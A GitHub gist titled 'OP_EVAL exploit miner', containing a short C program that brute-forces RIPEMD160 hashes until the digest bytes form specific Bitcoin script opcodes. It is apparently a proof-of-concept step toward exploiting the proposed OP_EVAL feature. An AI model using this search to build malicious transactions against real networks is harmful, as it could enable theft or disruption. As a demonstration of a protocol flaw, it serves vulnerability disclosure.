Skip to content

Instantly share code, notes, and snippets.

@justmoon
Created January 1, 2012 02:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save justmoon/1546061 to your computer and use it in GitHub Desktop.
Save justmoon/1546061 to your computer and use it in GitHub Desktop.
OP_EVAL exploit miner
#include <stdio.h>
#include <openssl/ripemd.h>
#include <openssl/rand.h>
void print_hex(unsigned char *bytes, unsigned int len) {
int i;
for (i = 0; i < len; i++) {
printf("%02X", bytes[i]);
}
printf("\n");
}
main()
{
union nonce_t {
unsigned char b[8];
unsigned long long i;
} nonce;
unsigned char digest[20];
unsigned int i;
for (;;) {
RAND_bytes(nonce.b, sizeof(nonce));
RIPEMD160(nonce.b, sizeof(nonce), digest);
if (
digest[0] == 174 && // OP_CHECKMULTISIG
digest[1] == 76 && // OP_PUSHDATA1
digest[2] == 16 // 0x16
) {
// We'll print status info on partial hits, just to make things more
// interesting.
printf("%llx\n", nonce.i);
print_hex(digest, 20);
// Check for full hit
if (digest[19] == 117) // OP_DROP
return;
}
if ((++i % 1000000) == 0) printf("%u\n", i);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment